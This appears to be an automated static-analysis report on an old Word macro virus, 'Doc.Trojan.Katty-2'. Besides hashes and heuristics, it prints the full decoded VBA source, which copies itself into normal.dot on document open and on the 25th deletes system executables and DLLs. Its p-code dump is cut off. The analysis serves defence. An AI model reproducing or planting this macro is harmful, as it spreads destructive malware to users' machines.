Doc.Trojan.Katty-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 57ac8e6e830cfac4…

MALICIOUS

Office (OLE)

56.0 KB Created: 1999-04-18 10:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c5220ed918447193b380677877eac42f SHA-1: c7cd643b7c094128aaa87dc3a251432aa758031e SHA-256: 57ac8e6e830cfac4d5a7d743c720306690d5cfa2d5943378d587248e4b3ca7d0
180 Risk Score

Malware Insights

Doc.Trojan.Katty-2 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Word document containing a VBA macro that executes upon opening (AutoOpen). The script attempts to copy itself to the normal.dot template for persistence and includes commands to delete various file types, indicating destructive behavior. The ClamAV detection name 'Doc.Trojan.Katty-2' and the macro's behavior strongly suggest this family.

Heuristics 5

  • ClamAV: Doc.Trojan.Katty-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Katty-2
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 57,344 bytes but its declared streams total only 34,082 bytes — 23,262 bytes (41%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6309 bytes
SHA-256: d7a58ed89212a1d4e308d21c29b2dfcac499fb063fa8d453a50597af2c3d1936
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim Title$
Dim Author$
Dim DateCr$
Dim MacrosFullName$
Dim FileFullName$
Dim PathFullName$

    Title$ = "WM.Katty Strain B"
    Author$ = "Maverick"
    DateCr$ = "November, 1998"

    MacrosFullName$ = "AutoOpen"
    FileFullName$ = WordBasic.[FileName$]()
    PathFullName$ = WordBasic.[DefaultDir$](2) + "\normal.dot"

    Dim a As Object: Set a = WordBasic.DialogRecord.Organizer(False)
    a.Копировать = 1
    a.Tab = 3
    a.Name = MacrosFullName$
    a.Source = FileFullName$
    a.Destination = PathFullName$

    On Error Resume Next
    WordBasic.Organizer a
    WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
    If WordBasic.CountMacros(1) = 0 Then
        a.Source = PathFullName$
        a.Destination = FileFullName$
        WordBasic.Organizer a
        WordBasic.FileSaveAs Format:=1
    End If

    If WordBasic.Day(WordBasic.Now()) = 11 And WordBasic.Month(WordBasic.Now()) = 5 Then
        WordBasic.MsgBox "Happy Birthday My Dear Katty!"
        WordBasic.MsgBox "         I Love You!"
        Else
    End If

    If WordBasic.Day(WordBasic.Now()) = 3 And WordBasic.Month(WordBasic.Now()) = 8 Then
        WordBasic.MsgBox "Today Is My Birthday!"
        WordBasic.MsgBox "Happy Birthday Maverick!"
        Else
    End If

    If WordBasic.Day(WordBasic.Now()) = 25 Then
        WordBasic.Kill "C:\*.bat"
        WordBasic.Kill "C:\*.sys"
        WordBasic.Kill "C:\windows\*.dll"
        WordBasic.Kill "C:\windows\*.exe"
        WordBasic.Kill "C:\windows\command\*.com"
        WordBasic.Kill "C:\windows\command\*.exe"
        WordBasic.Kill "C:\windows\command\*.vxd"
        WordBasic.MsgBox "Ha-Ha!!!"
        Else
    End If


End Sub

' Processing file: /opt/analyzer/scan_staging/55373759816948e5b05428620c6f8fd5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 3471 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn Title
' Line #3:
' 	Dim 
' 	VarDefn Author
' Line #4:
' 	Dim 
' 	VarDefn DateCr
' Line #5:
' 	Dim 
' 	VarDefn MacrosFullName
' Line #6:
' 	Dim 
' 	VarDefn FileFullName
' Line #7:
' 	Dim 
' 	VarDefn PathFullName
' Line #8:
' Line #9:
' 	LitStr 0x0011 "WM.Katty Strain B"
' 	St Title$ 
' Line #10:
' 	LitStr 0x0008 "Maverick"
' 	St Author$ 
' Line #11:
' 	LitStr 0x000E "November, 1998"
' 	St DateCr$ 
' Line #12:
' Line #13:
' 	LitStr 0x0008 "AutoOpen"
' 	St MacrosFullName$ 
' Line #14:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St FileFullName$ 
' Line #15:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x000B "\normal.dot"
' 	Add 
' 	St PathFullName$ 
' Line #16:
' Line #17:
' 	Dim 
' 	VarDefn a (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd Organizer 0x0001 
' 	Set a 
' Line #18:
' 	LitDI2 0x0001 
' 	Ld a 
' 	MemSt Копировать 
' Line #19:
' 	LitDI2 0x0003 
' 	Ld a 
' 	MemSt Text 
' Line #20:
' 	Ld MacrosFullName$ 
' 	Ld a 
' 	MemSt New 
' Line #21:
' 	Ld FileFullName$ 
' 	Ld a 
' 	MemSt Source 
' Line #22:
' 	Ld PathFullName$ 
' 	Ld a 
' 	MemSt Destination 
' Line #23:
' Line #24:
' 	OnError (Resume Next) 
' Line #25:
' 	Ld a 
' 	Ld WordBasic 
' 	ArgsMemCall Organizer 0x0001 
' Line #26:
' 	LitDI2 0x0000 
' 	ParamNamed GlobalDotPrompt 
' 	Ld WordBasic 
' 	ArgsMemCall ToolsOptionsSave 0x0001 
' Line #27:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #28:
' 	Ld PathFullName$ 
' 	Ld a 
' 	MemSt Source 
' Line #29:
' 	Ld FileFullName$ 
' 	Ld a 
' 	MemSt Destination 
' Line #30:
' 	Ld a 
' 	Ld WordBasic 
' 	Args
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.